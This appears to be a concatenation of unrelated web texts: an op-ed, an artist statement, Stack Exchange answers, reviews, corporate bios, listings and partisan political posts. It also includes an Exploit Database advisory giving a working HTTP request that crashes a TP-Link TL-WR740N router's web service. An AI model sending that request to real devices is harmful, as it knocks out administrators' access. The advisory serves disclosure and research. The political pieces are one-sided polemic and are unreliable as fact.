Particularly galling are Dr. Cockbain's assertions that 'anti-racist feminism' is the only solution to child sex abuse and anti-Muslim hate, thereby conflating the perpetration of crimes with backlashes against them. Sophistry of this kind does not deserve to be taken seriously. Dr. Cockbain is distorting the suffering of thousands of young girls to push her own political agenda.
Talk of national inquiries is also ultimately fruitless. The British public is well aware of what is going on on their doorsteps, as is Parliament. But it is easier to 'defend heritage' by sticking statues in boxes or bashing 'woke students' than it is to unravel the legislation and bureaucracy that enable crimes like grooming gangs to occur. A preoccupation with international human rights law combined with an increasingly devolved system of legal responsibility ensures that apathetic authority figures can pass the responsibility for properly punishing criminals from department to department.
We must face facts: our country lacks the will to deport criminals who systematically rape little girls. Successive governments have judged the safety of the working class to be subordinate to their social engineering delusions. The grooming gang cases show us a picture, not of random incompetence, but systematic and malicious endangerment of citizens. The local council shrugs their shoulders, the police assert that "nothing can be done," and Westminster performs pantomime shock at each new allegation.
News organisations waste their time reporting on phoney needle-spiking incidents because the Clapham-located victims match their sympathy profile. Middle-class white-on-white crime is acknowledged, but evidence of migrant crime is suppressed. For all the invocations of a uniquely British awkwardness, it is a revealing picture of our current moment that mass rape goes unsolved in order to prevent any regime embarrassment. "No law-and-order, please, we're British."
I doubt that the plight of the Hull victims will be entirely ignored. Perhaps the BBC will commission another mini-series, or an NPR-style investigative podcast. Some respectable pundits will speak of misogyny, and suggest some mandatory consent classes. A few MPs will address half-empty chambers, forcing a tear for the cameras. They will shake their heads, and say it must never happen again. And then wait until the next time.
Poppy Coburn is a freelance journalist.
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Culture War Feminism The Left The Regime The UK
Faucism
By Paul Brian	—	6 months ago
Ur-AntiFascism
By Daniel Miller	—	12 months ago
Corporate Medicine


text:
Home >> Journal >> The death of the dream of democracy
The death of the dream of democracy
For me this work was important to create and was the very first time in 30 years that political events have influenced such a direct piece. Alexander Hamilton (1757-1804), my namesake was an American statesman and one of the Founding Fathers of the United States. He was an influential interpreter, defender & promoter of the U.S. Constitution, as well as the founder of the nation's financial system, the Federalist Party, the United States Coast Guard, and The New York Post newspaper. The very constitution they created I believe is at threat. Throughout history there have been many leaders where a love of gold has led them astray. Donald Trump is a reality tv president, for him substance doesn't matter in your message. A presidential process that cuts out the messengers of incisive journalism by going direct to market with his twitter feed, allowing for issue dodging CEO type tactics unseen before in a world leader. Water is a core element of my practice and globally it is in crisis with rising sea levels from global warming, overfishing, plastic pollution and freshwater pollution through deforestation and the clearly linked rising CO2 levels. The paris agreement is a genuine solution towards de-carbonisation. With President Trump leaving the Paris Agreement he joins only 2 other countries that are not member states; Syria which is at war and Nicaragua which protested against signing for an even more stringent agreement, placing the American Presidents decision as socially diminished at best, re-affirming his public statements of disbelief in the 'hoax' of global warming. What is also of concern is that of a critical situation arising where he is awoken at 3am when something terrible has happened and he needs to make a decision in 5 minutes; I worry that the wording released on twitter will be more carefully considered than an ill fated decision with immeasurable repercussions. His behaviour is that of a tyrant thus far and to commemorate the ideals of the constitution at this specific point 100 days or 6.8% into his 4 year tenure. This is my momento mori 'The death of the dream of democracy'. Made from 2000 flower petals & 24 carat gold, a vanitas work depicting the American stars and stripes flag undulating in a wave of gold etched turbulence.


text:
Q: getting error : TypeError: Class constructor PrismaClient cannot be invoked without 'new' i am new in typescript, when i try to run my docker-compose up command, i am getting this error, i am using es7
TypeError: Class constructor PrismaClient cannot be invoked without 'new'

can anyone please help me why i am getting this error ? any help will be really appreciated, here i have added my code for it,
import { Injectable, OnInit, OnDestroy } from "@tsed/di";
import { PrismaClient } from "@prisma/client";

@Injectable()
export class PrismaService extends PrismaClient implements OnInit, OnDestroy {
  async $onInit() {
    await this.$connect();
  }

  async $onDestroy() {
    await this.$disconnect();
  }
}

A: change in tsconfig file
{
    "compilerOptions": {
        "target": "ES6",
        ...
    }
}

A: Out prisma.service.ts looks like this:
import { INestApplication, Injectable, OnModuleInit } from '@nestjs/common';
import { Prisma, PrismaClient } from '@prisma/client';

import { LoggerService } from '@common/providers/logger';

interface LogOptions extends Prisma.PrismaClientOptions {
    log: [
        {
            emit: 'event';
            level: 'query';
        }
    ];
}

@Injectable()
export class PrismaService extends PrismaClient<LogOptions> implements OnModuleInit {
    constructor(private logger: LoggerService) {
        super({
            log: [
                {
                    emit: 'event',
                    level: 'query'
                }
            ]
        });

        this.logger.setContext(PrismaService.name);
    }

    async onModuleInit() {
        await this.$connect();
    }

    async enableShutdownHooks(app: INestApplication) {
        this.$on('beforeExit', async () => {
            await app.close();
        });
    }
}

And in tsconfig.json we have the following:
    "compilerOptions": {
        "module": "CommonJS",
...
        "target": "es2019",
...
    },

Hope this helps.

redpajama_set_name: RedPajamaStackExchange


text:
Q: SSH attacks drain 4GB in 10 hours. Possible? I have been warned that my server broke its transfer limit. I thougt that my Tor node became popular so I chose to disable it this month (not the best choice for the community but I need to go down). Then I noticed that the server transferred around 4GBs this night. I have checked Apache logs with Awstats, no relevant traffic (and I don't host so popular sites there). I have checked mail logs, no one tried to send garbage. I have checked messages logs and found tons of these
Apr 29 10:17:53 marcus sshd[9281]: Did not receive identification string from 85.170.189.156
Apr 29 10:18:07 marcus sshd[9283]: Did not receive identification string from 86.208.123.132
Apr 29 10:18:24 marcus sshd[9298]: Did not receive identification string from 85.170.189.156
Apr 29 10:18:39 marcus sshd[9303]: Did not receive identification string from 86.208.123.132
Apr 29 10:18:56 marcus sshd[9306]: Did not receive identification string from 85.170.189.156
Apr 29 10:19:11 marcus sshd[9309]: Did not receive identification string from 86.208.123.132
Apr 29 10:19:18 marcus sshd[9312]: Did not receive identification string from 101.98.178.92
Apr 29 10:19:27 marcus sshd[9314]: Did not receive identification string from 85.170.189.156
Apr 29 10:19:41 marcus sshd[9317]: Did not receive identification string from 86.208.123.132
Apr 29 10:20:01 marcus sshd[9321]: Did not receive identification string from 85.170.189.156
Apr 29 10:20:13 marcus sshd[9324]: Did not receive identification string from 86.208.123.132
Apr 29 10:20:32 marcus sshd[9327]: Did not receive identification string from 85.170.189.156
Apr 29 10:20:48 marcus sshd[9331]: Did not receive identification string from 86.208.123.132
Apr 29 10:21:07 marcus sshd[9336]: Did not receive identification string from 85.170.189.156
Apr 29 10:21:20 marcus sshd[9338]: Did not receive identification string from 86.208.123.132
Apr 29 10:21:35 marcus sshd[9341]: Did not receive identification string from 85.170.189.156
Apr 29 10:21:51 marcus sshd[9344]: Did not receive identification string from 86.208.123.132
Apr 29 10:22:06 marcus sshd[9349]: Did not receive identification string from 85.170.189.156
Apr 29 10:22:23 marcus sshd[9353]: Did not receive identification string from 86.208.123.132
Apr 29 10:22:39 marcus sshd[9359]: Did not receive identification string from 85.170.189.156
Apr 29 10:22:54 marcus sshd[9361]: Did not receive identification string from 86.208.123.132
Apr 29 10:23:10 marcus sshd[9367]: Did not receive identification string from 85.170.189.156
Apr 29 10:23:29 marcus sshd[9369]: Did not receive identification string from 86.208.123.132
Apr 29 10:23:45 marcus sshd[9375]: Did not receive identification string from 85.170.189.156
Apr 29 10:24:10 marcus sshd[9387]: Did not receive identification string from 86.208.123.132
Apr 29 10:24:16 marcus sshd[9388]: Did not receive identification string from 85.170.189.156

Every few seconds a bot is trying to hack my SSH, which is impossible because I require pubkey authentication. My question is: can this traffic, at this frequency, consume 4GBs (let's say 3.5) in 10 hours of continuous attack?
I have changed my SSH port and stopped these attacks, but I'm unsure about my network consumption. I don't have services out of control running -my firewall is kinda restrictive-, or share the server with someone abusively doing P2P or whatever. My concern is to go below 400GB/month.
Any tips?

A: No, these once-per second connection attempts themselves are not going to add up to 4GB in ten hours. Do you think you could download a 4GB file in 10 hours by getting getting a tiny packet once a second? There are 3600 seconds in an hour, so if you get a kilobyte a second for ten hours, that would be 36000 Kb, or 36 megabytes.
Your bandwidth is measured according to what goes down the pipe from your provider to your external router, not what reaches your server. You have to look at the crap that isn't reaching your server, that most external piece of equipment is rejecting.
As far as what does reach your server, you cannot rely on application logs. Even packets that are silently dropped by the local firewall are bandwidth. Interface stats (shown by ifconfig) will tell you Tx/Rx bytes.

A: 4 GB is possible, but very unlikely considering the attack rate. I suggest installing OSSEC, it detects break in attempts and blocks the IP automatically for a certain time out.

A: If these are the cause of the bandwidth usage then the bandwidth is already consumed by the time you deal with them on your system. You can use a tool like iptraf to give you a breakdown of what's happening on each interface/port and then you can take appropriate action based on facts.


text:
Spyro Gyra
Road Scholars (GRP Records)
By: Paula M. Sherman
In stores a few months ago, Spyro Gyra released Road Scholars, a CD packed with their own smooth sounds of jazz. I was a little surprised with what I heard. I bought this as a present for my husband for his birthday and I don't normally like this type of music. I'm not a connoisseur of jazz music but I have to say this set turned my head. With enriching and skilled combinations of piano, sax, guitars and percussion, this band did an excellent job in creating exciting arrangements.
The band has many releases to it's name, and my husband has a few others as well. Spyro Gyra always strive for that delicate light wispy touch with their songs. They sound like classic movies soundtracks that are so well performed. And these types of songs usually put me to sleep because they are so relaxing, but Road Scholars has some more upbeat tunes that offer a little more than just a lullaby.
Recorded on location across the USA last year, except for the song "Best Friends" which is a studio recorded cut; there are 11 songs for your listening enjoyment. Believe it or not, this studio cut doesn't sound much different than the other songs. You might hear some audience noise in the other songs, but overall, Road Scholars is an impressive release and I recommend it especially to jazz lovers. But even if you're not into jazz, you may really like this one. I give it a B+.
Spyndakit: Ill Children Squad Five-O: What I Believe
[Issue Ten // July 1998]


text:
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TP-Link TL-WR740N - Denial of Service
EDB-ID:
CVE:
EDB Verified:
Exploit: /
Vulnerable App:
TP-Link TL-WR740N Wireless Router MitM httpd Denial Of Service
Vendor: TP-LINK Technologies Co., Ltd.
Product web page: http://www.tp-link.us
Affected version:
- Firmware version: 3.17.0 Build 140520 Rel.75075n (Released: 5/20/2014)
- Firmware version: 3.16.4 Build 130205 Rel.63875n (Released: 2/5/2013)
- Hardware version: WR740N v4 00000000 (v4.23)
- Model No. TL-WR740N / TL-WR740ND
Summary: The TL-WR740N is a combined wired/wireless network connection
device integrated with internet-sharing router and 4-port switch. The
wireless N Router is 802.11b&g compatible based on 802.11n technology
and gives you 802.11n performance up to 150Mbps at an even more affordable
price. Bordering on 11n and surpassing 11g speed enables high bandwidth
consuming applications like video streaming to be more fluid.
Desc: The TP-Link WR740N Wireless N Router network device is exposed to a
denial of service vulnerability when processing a HTTP GET request. This
issue occurs when the web server (httpd) fails to handle a HTTP GET request
over a given default TCP port 80. Resending the value 'new' to the 'isNew'
parameter in 'PingIframeRpm.htm' script to the router thru a proxy will
crash its httpd service denying the legitimate users access to the admin
control panel management interface. To bring back the http srv and the
admin UI, a user must physically reboot the router.
Tested on: Router Webserver
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2014-5210
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5210.php
GET /userRpm/PingIframeRpm.htm?ping_addr=zeroscience.mk&doType=ping&isNew=new&lineNum=1 HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.1/userRpm/PingIframeRpm.htm?ping_addr=zeroscience.mk&doType=ping&isNew=new&sendNum=4&pSize=64&overTime=800&trHops=20
Authorization: Basic YWRtaW46YWRtaW4=
Advisory/Source: Link
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About The Exploit Database
The Exploit Database is maintained by Offensive Security, an information security training company that provides various Information Security Certifications as well as high end penetration testing services. The Exploit Database is a non-profit project that is provided as a public service by Offensive Security.
The Exploit Database is a CVE compliant archive of public exploits and corresponding vulnerable software, developed for use by penetration testers and vulnerability researchers. Our aim is to serve the most comprehensive collection of exploits gathered through direct submissions, mailing lists, as well as other public sources, and present them in a freely-available and easy-to-navigate database. The Exploit Database is a repository for exploits and proof-of-concepts rather than advisories, making it a valuable resource for those who need actionable data right away.
The Google Hacking Database (GHDB) is a categorized index of Internet search engine queries designed to uncover interesting, and usually sensitive, information made publicly available on the Internet. In most cases, this information was never meant to be made public but due to any number of factors this information was linked in a web document that was crawled by a search engine that subsequently followed that link and indexed the sensitive information.
The process known as "Google Hacking" was popularized in 2000 by Johnny Long, a professional hacker, who began cataloging these queries in a database known as the Google Hacking Database. His initial efforts were amplified by countless hours of community member effort, documented in the book Google Hacking For Penetration Testers and popularised by a barrage of media attention and Johnny's talks on the subject such as this early talk recorded at DEFCON 13. Johnny coined the term "Googledork" to refer to "a foolish or inept person as revealed by Google". This was meant to draw attention to the fact that this was not a "Google problem" but rather the result of an often unintentional misconfiguration on the part of a user or a program installed by the user. Over time, the term "dork" became shorthand for a search query that located sensitive information and "dorks" were included with may web application vulnerability releases to show examples of vulnerable web sites.
After nearly a decade of hard work by the community, Johnny turned the GHDB over to Offensive Security in November 2010, and it is now maintained as an extension of the Exploit Database. Today, the GHDB includes searches for other online search engines such as Bing, and other online repositories like GitHub, producing different, yet equally valuable results.
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Type dos local remote shellcode papers webapps
Platform AIX ASP BSD BSD_PPC BSD_x86 BSDi_x86 CGI FreeBSD FreeBSD_x86 FreeBSD_x86-64 Generator Hardware HP-UX IRIX JSP Linux Linux_MIPS Linux_PPC Linux_SPARC Linux_x86 Linux_x86-64 MINIX Multiple NetBSD_x86 Novell OpenBSD OpenBSD_x86 OSX_PPC OSX PHP Plan9 QNX SCO SCO_x86 Solaris Solaris_SPARC Solaris_x86 Tru64 ULTRIX Unix UnixWare Windows_x86 Windows_x86-64 Windows ARM CFM Netware SuperH_SH4 Java BeOS Immunix Palm_OS AtheOS iOS Android XML Perl Python System_z JSON ASHX Ruby ASPX macOS Linux_CRISv32 eZine Magazine NodeJS Alpha Solaris_MIPS Lua watchOS VxWorks Python2 Python3
Port 14 21 22 23 25 42 49 53 66 69 70 79 80 81 102 105 110 111 113 119 123 135 139 143 161 162 164 383 389 402 406 411 443 444 445 446 502 504 513 514 515 532 548 554 555 617 623 631 655 689 783 787 808 873 888 901 998 1000 1040 1089 1099 1100 1114 1120 1194 1235 1471 1521 1533 1581 1589 1604 1617 1723 1743 1761 1812 1858 1861 1900 1947 2000 2022 2049 2100 2103 2121 2125 2181 2242 2315 2375 2380 2381 2401 2480 2525 2640 2810 2812 2947 2954 2990 3000 3030 3050 3052 3128 3129 3181 3200 3217 3306 3333 3378 3389 3460 3465 3500 3535 3632 3690 3790 3814 3817 4000 4002 4070 4081 4105 4111 4322 4343 4434 4501 4555 4592 4661 4750 4848 5000 5060 5061 5080 5081 5093 5151 5180 5247 5250 5272 5308 5432 5466 5554 5555 5600 5655 5666 5800 5803 5814 5858 5900 5984 6066 6070 6080 6082 6101 6112 6129 6379 6502 6503 6660 6667 7001 7002 7070 7071 7080 7100 7144 7210 7272 7290 7426 7443 7510 7547 7649 7770 7777 7778 7787 7879 7902 8000 8001 8002 8004 8008 8020 8022 8023 8028 8030 8080 8081 8082 8088 8090 8181 8300 8400 8443 8445 8473 8500 8585 8619 8800 8812 8839 8880 8888 9000 9001 9002 9080 9090 9091 9100 9124 9200 9251 9256 9443 9447 9784 9788 9855 9876 9900 9987 9993 9999 10000 10001 10080 10202 10203 10443 10616 11000 11211 11460 12203 12221 12345 12397 12401 13327 13701 13722 13838 16992 18821 18881 19000 19810 19813 20000 20002 20010 20031 20111 20171 22003 23423 25672 26000 27015 27700 28015 30000 30303 31337 32400 32674 32764 34205 37215 37777 37848 38292 40007 41523 44334 46824 48080 49152 50000 50496 52311 52789 52869 52986 53413 54345 54890 55554 55555 56380 57772 58080 62514
Tag WordPress Core Metasploit Framework (MSF) WordPress Plugin SQL Injection (SQLi) Cross-Site Scripting (XSS) File Inclusion (LFI/RFI) Cross-Site Request Forgery (CSRF) Denial of Service (DoS) Code Injection Command Injection Authentication Bypass / Credentials Bypass (AB/CB) Client Side Use After Free (UAF) Out Of Bounds Remote Local XML External Entity (XXE) Integer Overflow Server-Side Request Forgery (SSRF) Race Condition NULL Pointer Dereference Malware Buffer Overflow Heap Overflow Type Confusion Object Injection Bug Report Console Pwn2Own Traversal Deserialization
Has App
No Metasploit


text:
LG Pay is coming to low-end smartphones, and the global market
LG's mobile payments service is expanding — but can it compete with the other options already available?
Scott Adam Gordon
LG's mobile payments service, LG Pay, will arrive to low-cost phones next year, according to recent comments made by LG's mobile communication division president Cho Jun-ho.
LG Pay is a platform that allows users to make in-store payments using their smartphone, eliminating the need for credit cards or PIN entry: a smartphone can simply be tapped on a terminal to complete a transaction. The service was launched in early June alongside LG's latest flagship, the LG G6, which is one of only two LG handsets that can currently make use of it (the other being the LG G6 Plus).
According to The Korean Herald, Cho Jun-ho said the service would expand to low-cost and premium phones next year, while The Korean Herald also stated that it would, in the future, reach global markets. For now, it's limited to South Korea.
LG's latest tablet is lighter than a can of soda
At this point, LG has a lot of catching up to do on its South Korean rival Samsung, which has almost a two-year head start with its Samsung Pay platform. The Korea Herald notes that Samsung Pay is available on 12 Samsung devices, through online and offline channels, and in 14 nations. Compare that to LG Pay, functional only in local stores and using two of its phones, and whether or not it's a better service (a question we're unable to answer even if we wanted to), it's lagging behind Samsung in terms of accessibility.
Samsung Pay is currently something of a fan favorite in the mobile payments sphere because it doesn't necessitate that stores are outfitted with specific NFC terminals (unlike Android Pay). Rather, it features the more traditional Magnetic Secure Transmission (MST) solution, as well as NFC. LG, on the other hand, utilizes a Wireless Magnetic Communication (WMC) system, which is said to be equivalent to Samsung's.
Android Pay is Google's mobile wallet that can currently be found in 13 nations. Most recently, it launched in Taiwan, but Brazil, Spain and South Korea also expected to receive support for the service by the end of the year.
Android Pay vs Apple Pay vs Samsung Pay: Pros and cons
Though LG might have the upper hand on Google in its home nation, it still has to do battle there with Samsung. In the US, LG has nowhere near the same penetration — there, Google is likely to dominate, despite the current limitations of its service. All told, LG is going to have to offer a clear benefit to using its own platform over others, because just having an alternative surely won't be enough.


Tim Castree is North American CEO of GroupM. Tim's diverse leadership experience spans 20 years in creative, media and integrated agencies. He most recently invented a brand-new agency, Wavemaker, from the merger of MEC and Maxus. He has worked closely with a mix of local, national and global advertisers like L'Oreal, Colgate Palmolive, Mondelez and Vodafone. Tim is leading the radical evolution of GroupM's business in the world's largest advertising market with a pointed focus diversifying capabilities and expanding use of data and automation for insights-driven campaign optimization that delivers advertiser growth.
Mark joined GroupM in 2007 from Initiative where he was CFO - North America and was a member of the Executive Committee responsible for development and execution of operating strategy and tactics. Prior to that Mark was SVP - Worldwide Controller of Cohn & Wolfe, a WPP public relations company where he implemented financial systems and controls to support the company's double digit growth rate. Prior to Cohn & Wolfe, Mark was Assistant Controller at Loehmann's, Inc. and the led the Company's initial public offering. He's also held the position of International Audit Manager at Toys "R" Us, Inc. traveling extensively throughout Europe, Asia and Australia. Mark began his career at Ernst & Young where he served a variety of clients in the retail, manufacturing, and distributions sectors.
Mark is a Certified Public Accountant and serves on the A.A.A.A Media Finance Committee. He lives on Long Island with his wife and three children.
Lyle Schwartz is President of Investment, North America, with responsibility for overseeing investment in the company's largest region, where more than $30B (RECMA) is invested on behalf of clients annually. Schwartz has more than 30 years of experience at WPP inclusive of his early positions at Y&R prior to its acquisition by WPP. Schwartz helped build the research department at GroupM, which is already fully integrated into the trading organization to support insights-driven 'one voice trading,' another point of distinction in GroupM's approach to media investment. Schwartz has made significant contributions to a number of company and industry-wide milestones, including the development of C3 ratings for time-shifted TV, defining viewability in digital and pushing the industry for platform-agnostic video measurement. All North American investment team members across TV, digital, radio, print and local now report up to Schwartz.
Susan Schiekofer is the Chief Digital Investment Officer for GroupM North America. She is responsible for digital trading and implementation across all of GroupM's agencies including Mindshare, MEC, MediaCom, Maxus, and Essence.
Susan's digital skill set, coupled with her broader knowledge of trading best practices across all media formats, ensures that GroupM continues to lead the market with the best, most valuable and accountable digital solutions for clients of GroupM agencies.
She is figurative in GroupM's efforts to improve the integrity of the digital marketplace in the U.S. by championing viewability, anti-fraud safeguards, measurement, and standards.
Schiekofer has been a leader in the digital media space at WPP and GroupM since 1994. She founded the digital media offering at Ogilvy & Mather, which was later rebranded to Neo@Ogilvy, and worked on accounts including IBM, TD Ameritrade and Lenovo, among many others. In 2010, Schiekofer joined MEC to head up the AT&T digital business, and soon became responsible for all of digital at MEC. In July of 2014, she moved to GroupM to lead digital investment for Maxus and MediaCom, and to assume responsibility for all of online video.
Kristin Mooney is the Chief Talent Officer for GroupM in North America. She is responsible for directing all Human Resources and Recruiting activities for GroupM and our agencies Mindshare, MediaCom, Wavemaker and Essence. Kristin works with the leadership to ensure that we have the right people, programs and strategy in place to win as an organization.
Human Resources has been a lifelong calling for Kristin and she has pursued it on both the agency and client sides. Kristin came to the group in 2012. Previously she held roles with Omnicom and a joint venture between LVMH and Diageo. Her first job in the industry was with Ogilvy and Mather.
Evan Hanlon is U.S. Chief Strategy Officer. A member of the North American Executive Committee, he informs all group strategic decisions in the world's largest ad market. GroupM's first-ever CSO, Hanlon is leading collaborative innovation in media planning and buying as consumer behaviors in media consumption and commerce rapidly evolve. Currently, Hanlon is driving a comprehensive transformation program in the U.S., creating centers of excellence for mission-critical client services and capabilities. This includes leading a U.S. Operations Board of GroupM and agency executives and a Program Management Office (PMO) with change-driving project managers. Hanlon was prior U.S. President of [m]PLATFORM, GroupM's global data and technology solution, and before that Vice President, Strategy & Investment at Xaxis, GroupM's outcomes-driven programmatic audience company. Deepening GroupM's offer in data, analytics, technology and automation has been a focus for Hanlon through his entire GroupM tenure. Hanlon is a graduate of Harvard University with a B.A. in Visual and Environmental Studies.
As President of GroupM Multicultural, Gonzalo Del Fa plays a key role in all aspects of the multicultural media and marketing efforts initiated by GroupM and its agencies. Under his leadership, GroupM Multicultural handles over $1 billion in billings from clients such as Unilever, Anheuser Busch, General Mills, Target, Mars, Nestle, Subway, Colgate, Bayer, Kimberly Clark and KFC; and is the largest Multicultural division in the U.S.
Del Fa first joined GroupM family in 2003 as managing director of MEC Argentina. In 2006, he moved to New York to launch MEC Bravo, and in 2008 MEC Bravo introduced its Nuevo American segmentation model, expanding the definition of Hispanics beyond traditional demographics such as language spoken, level of acculturation or generation into attitudes, behaviors and motivations. Before anyone was talking about Total Market, Gonzalo created Total Reach—the first tool that was able to calculate effective reach across General Market and Hispanic consumers.
After launching additional Multicultural practices for Mediacom, Mindshare and Maxus, Gonzalo became President of GroupM Multicultural in 2013, combining all of GroupM's agencies under one banner, and strengthening its multicultural offering by launching several proprietary tools such as Volumizer, Gap Analysis and Tension Points.
Del Fa started his professional career at American Express Argentina and prior to joining GroupM, he worked for Visa, Hachette Filipacchi and Editorial Televisa. In his spare time, Gonzalo loves playing drums with The Raging Bulldogs, the GroupM hard rock band.
Adam is driven by the desire to bridge the gap across all facets of communications, leveraging experience in global and local accounts, media and PR backgrounds, and clients as diverse as FMCG and consumer electronics. Adam was appointed the CEO of Mindshare US in February 2016. Previously the West Coast Lead for Mindshare North America, Adam drives the strategy and execution of the agency's services with a strong vision for creative media, to grow the office and its client business. He came to Mindshare L.A. from Mindshare Worldwide, in London, where as Managing Partner he led the growth of multinational clients Nestlé and BP. His tech experience ranges from SAP to Samsung, where we led the international development and rollout of strategies across 40+ markets.
From negotiator to planner, domestic to global, analogue to digital, he applies his skills to a variety of situations. He is an active member of The International Advertising Association, and is passionate about mobile marketing. He previously sat on the MMA board, and is actively involved in the promotion of widespread marketing adoption.
Sasha Savic leads over 600 employees in delivering brilliantly connected systems of content and channels. Prior to joining MediaCom in 2012, Sasha was COO for Havas Media Group. He has also served as EVP and Global Managing Director for SMG/Publicis Groupe. In 2013, Sasha was named a "Media Maven" by Advertising Age.
As US CEO, Amanda Richman is leading the launch of Wavemaker, a brand new billion-dollar revenue media, content and technology agency born from the merger of GroupM's leading global networks, MEC and Maxus.
Amanda's 20-plus years of experience in digital, investment, innovation and client leadership puts her at the center of the agency's transformation as she enables its nearly 1,500 talented people across six U.S. offices to deliver audience-centric solutions. Clients include Campbell Soup Company, Church & Dwight, IKEA, L'Oréal USA, Marriott International and Paramount, among others.
Prior to Wavemaker, Amanda served as President of Starcom USA. As the leader of a 500+ person investment practice, she orchestrated a complete shift in the agency model, moving from siloed investment teams to integrated, cross-channel expertise and differentiated partnerships across the organization. Previously, she served as President of Digital for Mediavest and digital lead at SMG for Emerging Markets, expanding U.S. best practices to Russia, India and China.
Amanda's reputation for motivating clients to embrace innovation and integration has garnered numerous accolades, including 4As "100 Greatest People in Advertising" (2017), ad:tech "Industry Achievement" (2015), Advertising Age "Media Maven" (2012), Mediaweek "Media All-Star" (2009), and Advertising Age "40 Under 40" (2006) recognition.
When in the UK, Steve was the chair of the Independent Practitioners in Advertising [IPA] Media Futures Group; a confident speaker at industry, governmental (speaking at the House of Lords on Advertising regulation), and international forums.
He is also a frequent judge for key events both locally and globally: Campaign (UK), Media Week (UK), IPA, Irish Effectiveness, Creative Media Awards (US), Cannes Lions (Global), Festival of Media (Global and North America), and the North American Effie Awards [US}.
Alan was appointed U.S. President of m/SIX USA in 2018. Since then, the agency has doubled in size and revenue, with Alan leading the agency and its biggest accounts including Aetna, AstraZeneca, Chico's, David Yurman, Giant Eagle and Regions Financial. This recent success follows four consecutive years of agency growth and builds on m/SIX's thriving collaboration with The&Partnership, providing its clients with a unique and robust suite of integrated data, media and creative solutions — all under one roof.
Prior to his work at m/SIX USA, Alan served as Global Client Lead for Facebook at GroupM's Mindshare, where he managed brand campaigns and initiatives for Facebook, Instagram, Messenger and WhatsApp, plus launched their Marketplace, Oculus, Portal, Live and Watch products. To service the business, Alan built a global team across more than 35 different countries. Before his time at Mindshare, Alan worked at DigitasLBi, Carat and Mediacom.
Alan tackles problem-solving with a transformative approach while inspiring clients to evolve alongside changing media landscapes. He minimizes problems using the "Murphy's Law" technique – a proactive approach to mapping out potential hurdles and planning for solutions ahead of time. Related to this approach, Alan purposefully surrounds himself with people of varying viewpoints and skill sets while empowering colleagues to share and voice their opinions.


Who: Maya Jane Coles is a London-born DJ, producer, and audio engineer based in the UK. She is of British and Japanese descent.
Why she's fearless: Maya is a jack — or should we say Jane? — of all trades when it comes to electronic music. On any given record, she will have written, produced, engineered and mixed the majority of the track listing.
Our musical picks: "Easier to Hide," "Go On and Make It Through," "What They Say," and "Trails"


The Hostellerie Lafarque in Pepinster, Belgium situated Chemin Des Douys 20 can be contacted by phone +32 8 460651 or fax +32 8 469728. Here it is unfortunately not yet possible to book online.
The Park Hotel (Le) in Pepinster, Belgium situated 22 Rue Laurent Mairlot can be contacted by phone +32 87461477 or fax +32 87460080. Here it is unfortunately not yet possible to book online.
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The Les Douys Sprl in Pepinster, Belgium situated Douys, 51 or fax +32 87469728. Here it is unfortunately not yet possible to book online.


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text:
Hyadaphis foeniculi é o nome científico do afídio conhecido pelos nomes vulgares de pulgão-da-erva-doce, ou pulgão-das-umbelíferas (ou afídio, afídeo ou piolho em vez de pulgão). As formas ápteras são de pequeno ou médio tamanho, com corpo geralmente acinzentado e com antenas, membros, sifúnculos e cauda escuros. As formas aladas têm um abdómen mosqueado com pintas verde-escuras e uma mancha escura na base de cada sifúnculo.

Referências bibliográficas
http://www.ipm.ucdavis.edu/PMG/r102300511.html - acesso a 18 de Janeiro de 2006

Afidídeos
Espécies descritas em 1860

redpajama_set_name: RedPajamaWikipedia


text:
Documentum & Sun Extend Alliance
Documentum and Sun Microsystems, Inc. announced that the two companies increased the level of commitment in their respective alliance programs. Key products of the Documentum 5 ECM platform have been certified to the Sun ONE Application Server, and the two companies have agreed to extend availability of Documentum Portlets for the Sun ONE Portal Server. The Sun ONE-certified products of the Documentum 5 ECM platform include Webtop and the components provided by the Documentum Web Development Kit (WDK). Webtop is an interface that allows users to access the Documentum repository and content management services from a standard browser. The Web Development Kit is a framework for rapid development of content-rich web applications. WDK is a developer's toolkit that contains a library of more than 170 reusable, pre-built components and controls that perform common Documentum content management functions. Documentum has certified all of these components and controls on the Sun ONE Application Server with a certification schedule for other Documentum products, including Documentum Administrator, Web Publisher and Digital Asset Manager forthcoming. www.sun.com/sunone, www.documentum.com
Content management & strategy, Content technology news
Stratify Announces Discovery System 3.0
Emagine Releases emagiC 3.1


Appearing on CNN, Angela Giron, a Colorado Democrat state Senator who was one of two state pols recalled for supporting gun-grabbing anti-Second Amendment legislation, joined Debbie Wasserman Schultz in blaming her recall on voter suppression.
Giron: That is the meat of the story!
Host: … That you and your, uh, let's talk though about the stance that you and your colleague, the head of the Senate, a former police officer, have taken. And here you have mega mega cash from Mayors Against Illegal Guns, Mayor Bloomberg, versus this grassroots effort. What happened?
Giron: I'm telling you what happened is that you had only 30,000 of the voters who in the last election, um, off-year election, was 45,000. And so the people that are in support of very common sense gun legislation weren't able to get to the polls. They vote by ballot and they have been doing that for 25 years. I mean, we have to call it for what it is. When I was talking to people at the doors and in their homes it was that, "Oh, this what this is about, because you want universal background checks so you voted for that, and because you're limiting magazines to 15? I don't see anything wrong with that, I don't see any infringement on the Second Amendment." So, people didn't know what it was about. There was voter confusion. We didn't even know what the rules of the game were, this is the United States of America, we didn't even know what the rules of the game were a week out from the election. Where to vote, how to vote, were you going to get a ballot in the mail? Um, and, so it was just that confusion led to the voices of people in Pueblo County and El Paso County not having their voices heard and yet they're going to have to pay for this election, the most expensive in the history of these two counties.
Giron still either doesn't get it or has to force herself to pretend not to get it.
Keep it up, Democrats, and 2014 will be a great year … for the Republicans.
Editor's note: This post has been updated with additional tweets as well as a partial transcript of the above video.


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text:
package com.acme;

public class Derived extends Base implements Signature
{
    String fname="Full Name";

    public String getFullName()
    {
        return fname;
    }

    public void setFullName(String name)
    {
        fname=name;
    }

    public void publish()
    {
        System.err.println("publish");
    }

    public void doodle(String doodle)
    {
        System.err.println("doodle "+doodle);
    }

    public void somethingElse()
    {

    }
}

redpajama_set_name: RedPajamaGithub


Any recommendations re Insuring a Classic Scoob as a Classic Car ??
How long for a quote off Keith Michaels?
Adrian flux insurance- Renewal quote increase???
Options when damaged by mystery person?
